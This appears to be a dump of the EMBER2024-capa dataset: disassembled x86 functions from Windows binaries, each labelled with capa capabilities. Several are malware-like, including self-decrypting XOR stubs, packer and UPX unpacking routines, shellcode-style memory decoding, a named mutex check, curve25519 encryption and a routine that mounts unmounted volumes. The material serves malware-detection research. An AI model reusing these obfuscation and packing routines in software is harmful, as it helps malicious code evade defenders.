joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40452b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40a700]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040348c
and dword [ebp - 0x14], 0
cmp dword [0x40b924], 0
mov dword [ebp - 0x18], eax
jne 0x4045de
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x404686
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x404686
mov esi, dword [sym.imp.KERNEL32.DLL_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40b924], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40b928], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40b92c], eax
call edi
push eax
call esi
mov dword [0x40b934], eax
test eax, eax
je 0x4045de
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40b930], eax
mov eax, dword [0x40b930]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.DLL_DecodePointer]
cmp eax, ecx
je 0x404637
cmp dword [0x40b934], ecx
je 0x404637
push eax
call esi
push dword [0x40b934]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x404637
test ebx, ebx
je 0x404637
call edi
test eax, eax
je 0x40462e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40462e
test byte [ebp - 8], 1
jne 0x404637
or dword [ebp + 0x10], 0x200000
jmp 0x40466a
mov eax, dword [0x40b928]
cmp eax, dword [ebp - 0x18]
je 0x40466a
push eax
call esi
test eax, eax
je 0x40466a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40466a
mov eax, dword [0x40b92c]
cmp eax, dword [ebp - 0x18]
je 0x40466a
push eax
call esi
test eax, eax
je 0x40466a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40b924]
call esi
test eax, eax
je 0x404686
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x404688
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404896
leave
ret

Function at 0x404896
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a700]
jne 0x4048a0
repz ret
jmp fcn.00405a36

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x40ce0a
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push edi
push esi
lea edx, [6]
push edx
mov edi, 0x4ee
shr edi, 8
push edi
pop dword [0x42499a]
push 0x424b96
mov ebx, 0x482
and ebx, 0xff
or ebx, ebx
jne 0x40ce3f
shl ebx, 6
mov dword [ebp - 0x30], ebx
push 0x60
jmp loc.00462570

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x401c66
pop dword [ebp - 0x38]
mov eax, 0x287452f4
sub eax, 0x2834368e
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x82fbed20
sub dword [ebp - 0x48], 0x34a9a7d5
mov dword [ebp - 0x44], 0xc934f056
sub dword [ebp - 0x44], 0x9701a411
mov dword [ebp - 0x40], 0xc0eb768e
add dword [ebp - 0x40], 0x8b60cda0
mov dword [ebp - 0x3c], 0xd2e4a058
sub dword [ebp - 0x3c], 0xd2e4a058
lea eax, [ebp - 0x48]
push eax
mov eax, 0x510d4a8a
sub eax, 0x50cd1a36
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x5a451518
sub dword [ebp - 0x48], 0xe5d2abc2
mov dword [ebp - 0x44], 0xfdffddff
sub dword [ebp - 0x44], 0xbc937c8a
mov dword [ebp - 0x40], 0x149bdce8
add dword [ebp - 0x40], 0x4ed38f84
mov dword [ebp - 0x3c], 0x8629b684
add dword [ebp - 0x3c], 0x79d6497c
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xb8f6dfa0
sub eax, 0xb8b6af74
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x35af2
push 0
call eax
mov ecx, 0x8b0328e6
sub ecx, 0x8b02e416
mov esi, eax
mov edx, 0x989f7a1c
sub edx, 0x985f0a1c
add edx, dword [ebp - 0x38]
mov ebx, 0x3a32e7dd
xor dword [ebp - 0x1c], 0xd96ec0b2
mov edi, dword [edx]
xor dword [ebp - 0x28], edi
sub edi, ebx
add dword [ebp - 0x28], edx
mov dword [esi], edi
xor dword [ebp - 0xc], eax
add esi, 4
add edx, 0x57995a15
sub edx, 0x57995a11
loop 0x401d82
add eax, 0x10613
xor ebx, ebx
add ebx, eax
add eax, 0x5e0e60f3
add eax, 0xa1f19f12
mov ecx, 0x51180446
sub ecx, 0x50d80446
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401000
Capabilities:
Hash data with crc32

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push edi
push 0x10000
push 2
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GlobalLock]
push eax
mov dword [0x40e95c], eax
call edi
push 0x8040
push 2
mov dword [0x40e97c], eax
call esi
push eax
mov dword [0x40e968], eax
call edi
push 0x400
push 2
mov dword [0x40e958], eax
call esi
push eax
mov dword [0x40e974], eax
call edi
mov dword [0x40e980], eax
and dword [eax], 0
xor eax, eax
pop edi
inc eax
pop esi
push 8
mov ecx, eax
pop edx
test cl, 1
je 0x40106c
shr ecx, 1
xor ecx, 0xedb88320
jmp 0x40106e
shr ecx, 1
dec edx
jne 0x40105d
mov edx, dword [0x40e980]
mov dword [edx + eax*4], ecx
inc eax
cmp eax, 0x100
jl 0x401058
ret

Function at 0x401193
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
test ecx, ecx
jne 0x4011a0
or eax, 0xffffffff
jmp 0x4011d1
cmp dword [esp + 8], 0
mov eax, dword [section..data]
je 0x4011d1
push esi
movzx edx, byte [ecx]
mov esi, dword [0x40e980]
dec dword [esp + 0xc]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [esi + edx*4]
inc ecx
cmp dword [esp + 0xc], 0
jne 0x4011ad
pop esi
mov dword [section..data], eax
not eax
ret 8

Function at 0x402621
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x88]
sub esp, 0x108
mov eax, dword [0x40d2f0]
xor eax, ebp
mov dword [ebp + 0x84], eax
mov eax, dword [ebp + 0x90]
mov dword [ebp - 0x80], eax
mov eax, dword [0x40e830]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
test eax, eax
je 0x402696
push eax
lea eax, [ebp - 0x7c]
push eax
xor edi, edi
call esi
mov eax, dword [0x40e830]
cmp byte [eax], 0x22
jne 0x402672
inc eax
push eax
lea eax, [ebp - 0x7c]
push eax
call esi
inc edi
cmp byte [ebp - 0x7c], 0
lea eax, [ebp - 0x7c]
je 0x402691
mov cl, byte [eax]
cmp cl, 0x22
je 0x402691
cmp cl, 0x20
jne 0x40268b
test edi, edi
jne 0x402691
inc eax
cmp byte [eax], 0
jne 0x40267b
mov byte [eax], 0
jmp 0x4026b5
lea eax, [ebp - 0x7c]
push eax
mov edi, 0x100
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x4026b5
push edi
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push dword [ebp - 0x80]
lea eax, [ebp - 0x7c]
push 0
push 0x40a23c
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x4026d7
push str.C:GLC1034.TMP
push dword [ebp - 0x80]
call esi
mov ecx, dword [ebp + 0x84]
pop edi
xor ecx, ebp
pop esi
call fcn.00403145
add ebp, 0x88
leave
ret
Function at 0x403145
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40d2f0]
jne 0x40314f
repz ret
jmp fcn.004039ff

Function at 0x406003
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00403377
and dword [ebp - 4], 0
cmp dword [0x40e744], 0
mov ebx, eax
jne 0x4060b4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406165
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40ab58
push edi
call esi
test eax, eax
je 0x406165
push eax
call fcn.00403305
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40e744], eax
call esi
push eax
call fcn.00403305
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40e748], eax
call esi
push eax
call fcn.00403305
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40e74c], eax
call esi
push eax
call fcn.00403305
pop ecx
mov dword [0x40e754], eax
test eax, eax
je 0x4060b4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403305
pop ecx
mov dword [0x40e750], eax
mov eax, dword [0x40e750]
cmp eax, ebx
je 0x40610c
cmp dword [0x40e754], ebx
je 0x40610c
push eax
call fcn.00403380
push dword [0x40e754]
mov esi, eax
call fcn.00403380
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40610c
test edi, edi
je 0x40610c
call esi
test eax, eax
je 0x406103
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x406103
test byte [ebp - 0xc], 1
jne 0x40610c
or dword [ebp + 0x10], 0x200000
jmp 0x406145
mov eax, dword [0x40e748]
cmp eax, ebx
je 0x406145
push eax
call fcn.00403380
pop ecx
test eax, eax
je 0x406145
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x406145
mov eax, dword [0x40e74c]
cmp eax, ebx
je 0x406145
push eax
call fcn.00403380
pop ecx
test eax, eax
je 0x406145
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40e744]
call fcn.00403380
pop ecx
test eax, eax
je 0x406165
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x406167
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x6c8871a5
nop
nop
nop
test eax, eax
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x616557cc
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43106c
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x4016d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [0x405060]
xorps xmm0, xmm0
push ebx
push esi
mov esi, dword [ebp + 0x10]
mov ebx, ecx
push edi
push 0
push 0
push esi
push edx
push dword [0x405064]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x20], 0
movq qword [ebp - 0x14], xmm0
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40173a
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00401a78
mov esp, ebp
pop ebp
ret
push 4
push 0x1000
push 0x60
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x401723
mov eax, dword [ebp + 8]
movq xmm0, qword [ebp - 0x24]
push 0
push 0
mov dword [edi + 0x18], eax
mov eax, 0xc02
push 0
push 0
mov word [edi], ax
mov eax, edi
push esi
sub esp, 0xc
cdq
mov dword [edi + 0x1c], esi
mov dword [edi + 4], 0x80
mov byte [edi + 0x20], 1
mov dword [edi + 8], 1
mov dword [ebx], eax
mov eax, esp
push dword [ebp - 0x18]
mov dword [ebx + 4], edx
push 0
push dword [0x4053d4]
movq qword [eax], xmm0
mov dword [eax + 8], 0
call dword [sym.imp.KERNEL32.dll_BuildIoRingReadFile]
mov esi, eax
test esi, esi
jne 0x4017df
push eax
push eax
push eax
push dword [0x4053d4]
call dword [sym.imp.KERNEL32.dll_SubmitIoRing]
mov esi, eax
test esi, esi
jne 0x4017df
lea eax, [ebp - 0x14]
push eax
push dword [0x4053d4]
call dword [sym.imp.KERNEL32.dll_PopIoRingCompletion]
mov esi, eax
test esi, esi
jne 0x4017df
mov esi, dword [ebp - 0x10]
push 0x8000
push 0x60
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 8]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401a78
mov esp, ebp
pop ebp
ret
Function at 0x402278
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4022b7
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4022b7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4022b7
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4022b7
cmp dword [ecx + 0x74], 0xe
jbe 0x4022b7
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40f6a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xa000]
push edi
or ebp, 0xffffffff
jmp 0x40f6c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40f6c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40f6b8
mov eax, 1
add ebx, ebx
jne 0x40f6db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40f6d0
jne 0x40f6ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f6d0
xor ecx, ecx
sub eax, 3
jb 0x40f700
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40f772
mov ebp, eax
add ebx, ebx
jne 0x40f70b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40f718
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40f73c
inc ecx
add ebx, ebx
jne 0x40f728
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40f71d
jne 0x40f739
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f71d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40f75c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40f74d
jmp 0x40f6be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40f75c
add edi, ecx
jmp 0x40f6be
pop esi
mov edi, esi
mov ecx, 0x24d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40f77a
cmp byte [edi], 5
jne 0x40f77a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x40f77f
lea edi, [esi + 0xd000]
mov eax, dword [edi]
or eax, eax
je 0x40f7ee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x10664]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x106b4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40f7ac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x106b8]
or eax, eax
je 0x40f7e8
mov dword [ebx], eax
add ebx, 4
jmp 0x40f7c9
call dword [esi + 0x106bc]
popal
jmp 0x401492
Function at 0x404bc0
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
movups xmm0, xmmword [edx]
push esi
movups xmm1, xmmword [edx + 0x10]
mov edx, dword [ebp + 8]
mov esi, ecx
movd eax, xmm0
lea ecx, [ebp - 0xcc]
movups xmmword [ebp - 0x14], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x24], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [ebp - 5], al
call fcn.00402360
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x24]
push eax
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x1b4]
call fcn.004034e0
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x164]
call fcn.004037a0
lea eax, [ebp - 0x164]
push eax
lea edx, [ebp - 0x1b4]
lea ecx, [ebp - 0x114]
call fcn.00401920
add esp, 0xc
lea ecx, [ebp - 0x114]
call fcn.00401df0
lea ecx, [ebp - 0x114]
call fcn.00401ed0
movups xmm0, xmmword [ebp - 0x114]
lea edx, [ebp - 0x7c]
mov ecx, esi
movups xmmword [ebp - 0x7c], xmm0
movups xmm0, xmmword [ebp - 0x104]
movups xmmword [ebp - 0x6c], xmm0
movups xmm0, xmmword [ebp - 0xf4]
movups xmmword [ebp - 0x5c], xmm0
movups xmm0, xmmword [ebp - 0xe4]
movups xmmword [ebp - 0x4c], xmm0
movups xmm0, xmmword [ebp - 0xd4]
movups xmmword [ebp - 0x3c], xmm0
call fcn.00402660
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404cc0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
lea eax, [ebp - 0x20c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push 0x426248
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x42c320
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push 0
push 0
push eax
mov dword [0x42b884], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
push 0x26
push str._r_n
push dword [0x42b884]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esp, ebp
pop ebp
ret
Function at 0x404d60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x94
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x1000
push 8
push dword [0x42e394]
call edi
mov esi, eax
test esi, esi
jne 0x404dac
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x80
call ebx
push 0x1000
push 8
push dword [0x42e394]
call edi
mov esi, eax
test esi, esi
je 0x404d90
lea eax, [ebp + 0xc]
push eax
push 0
push dword [ebp + 8]
push 0x7ff
push esi
call fcn.00404cb0
mov ecx, dword [eax]
push dword [eax + 4]
or ecx, 1
push ecx
call fcn.0040ea46
add esp, 0x1c
mov ebx, eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [esp + 0x1c]
movzx eax, word [esp + 0x16]
push ecx
movzx ecx, word [esp + 0x1e]
push ecx
movzx ecx, word [esp + 0x20]
push ecx
push eax
movzx eax, word [esp + 0x22]
push eax
movzx eax, word [esp + 0x24]
push eax
lea eax, [esp + 0x38]
push str.__hu__hu__hu__hu:_hu:_hu_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x20
mov edi, eax
push 0x42c320
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
lea eax, [esp + 0x10]
push eax
lea eax, [edi + edi]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
lea eax, [esp + 0x2c]
push eax
push dword [0x42b884]
call edi
push 0
lea eax, [esp + 0x10]
push eax
or eax, 0xffffffff
test ebx, ebx
cmovs ebx, eax
add ebx, ebx
push ebx
push esi
push dword [0x42b884]
call edi
push 0
lea eax, [esp + 0x10]
push eax
push 4
push 0x426284
push dword [0x42b884]
call edi
push 0x42c320
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push esi
push 0
push dword [0x42e394]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4050a0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
cmp dword [0x42c30c], 0
jne 0x4050d2
push str.GlobalElonsMutex
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x42e378], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4050d2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
ret
Function at 0x405a00
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2dc
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x68], 0x428668
mov dword [ebp - 0x64], 0x428670
xor edi, edi
mov dword [ebp - 0x60], 0x428678
mov dword [ebp - 0x5c], 0x428680
mov dword [ebp - 0x58], 0x428688
mov dword [ebp - 0x54], 0x428690
mov dword [ebp - 0x50], 0x428698
mov dword [ebp - 0x4c], 0x4286a0
mov dword [ebp - 0x48], 0x4286a8
mov dword [ebp - 0x44], 0x4286b0
mov dword [ebp - 0x40], 0x4286b8
mov dword [ebp - 0x3c], 0x4286c0
mov dword [ebp - 0x38], 0x4286c8
mov dword [ebp - 0x34], 0x4286d0
mov dword [ebp - 0x30], 0x4286d8
mov dword [ebp - 0x2c], 0x4286e0
mov dword [ebp - 0x28], 0x4286e8
mov dword [ebp - 0x24], 0x4286f0
mov dword [ebp - 0x20], 0x4286f8
mov dword [ebp - 0x1c], 0x428700
mov dword [ebp - 0x18], 0x428708
mov dword [ebp - 0x14], 0x428710
mov dword [ebp - 0x10], 0x428718
mov dword [ebp - 0xc], 0x428720
mov dword [ebp - 8], 0x428728
mov dword [ebp - 4], 0x428730
nop word [eax + eax]
mov ebx, dword [ebp + edi*4 - 0x68]
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x405ae8
mov dword [ebp + esi*4 - 0xd0], ebx
inc esi
inc edi
cmp edi, 0x1a
jl 0x405ad0
push 0x104
lea eax, [ebp - 0x2d8]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x405b9c
nop dword [eax + eax]
cmp word [ebp - 0x2d8], 0x5c
jne 0x405b7a
cmp word [ebp - 0x2d6], 0x5c
jne 0x405b7a
cmp word [ebp - 0x2d4], 0x3f
jne 0x405b7a
cmp word [ebp - 0x2d2], 0x5c
jne 0x405b7a
lea ecx, [ebp - 0x2d8]
call fcn.00405860
test al, al
jne 0x405b7a
test esi, esi
je 0x405b95
mov edi, dword [ebp + esi*4 - 0xd4]
lea eax, [ebp - 0x2d8]
dec esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
je 0x405b7a
push edi
lea eax, [ebp - 0x2d8]
push eax
push str.Mounted__s_as__s
call fcn.00404d60
add esp, 0xc
push 0x104
lea eax, [ebp - 0x2d8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x405b10
push ebx
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret